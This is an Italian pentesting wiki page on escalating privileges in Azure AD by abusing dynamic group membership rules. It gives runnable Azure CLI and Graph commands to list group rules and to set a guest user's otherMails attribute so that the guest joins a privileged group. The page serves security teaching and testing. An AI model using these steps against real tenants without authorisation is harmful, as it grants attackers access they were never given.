# Az - Gruppi dinamici Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Informazioni di base

**I gruppi dinamici** sono gruppi a cui è configurato un insieme di **regole** e tutti gli **utenti o dispositivi** che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un **attributo** di un utente o dispositivo viene **modificato**, le regole dinamiche vengono **ricontrollate**. E quando viene **creata una nuova regola**, tutti i dispositivi e gli utenti vengono **verificati**.

I gruppi dinamici possono avere **Azure RBAC roles assigned** a loro, ma non è **possibile** aggiungere **AzureAD roles** ai gruppi dinamici.

Questa funzionalità richiede una licenza Azure AD Premium P1.

## Privesc

Nota che per impostazione predefinita qualsiasi utente può invitare guest in Azure AD, quindi, se una **regola** di un gruppo dinamico concede **permessi** agli utenti basandosi su **attributi** che possono essere **impostati** in un nuovo **guest**, è possibile **creare un guest** con questi attributi e **escalare i privilegi**. È anche possibile che un guest gestisca il proprio profilo e modifichi questi attributi.

Ottieni i gruppi che permettono la membership dinamica: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**

### Enumerazione Gruppi Dinamici

Ottieni le regole di un gruppo dinamico:

Con **Azure CLI**:
```bash
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
```
Con **PowerShell** e **Microsoft Graph SDK**:
```bash
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
```
### Esempio

- **Esempio di regola**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Descrizione della regola**: Qualsiasi utente Guest con un'email secondaria con la stringa 'security' verrà aggiunto al gruppo

Per l'email dell'utente Guest, accetta l'invito e verifica le impostazioni correnti di **quel utente** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Sfortunatamente la pagina non permette di modificare i valori degli attributi, quindi dobbiamo usare l'API:
```bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
```
## Riferimenti

- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)

{{#include ../../../../banners/hacktricks-training.md}}
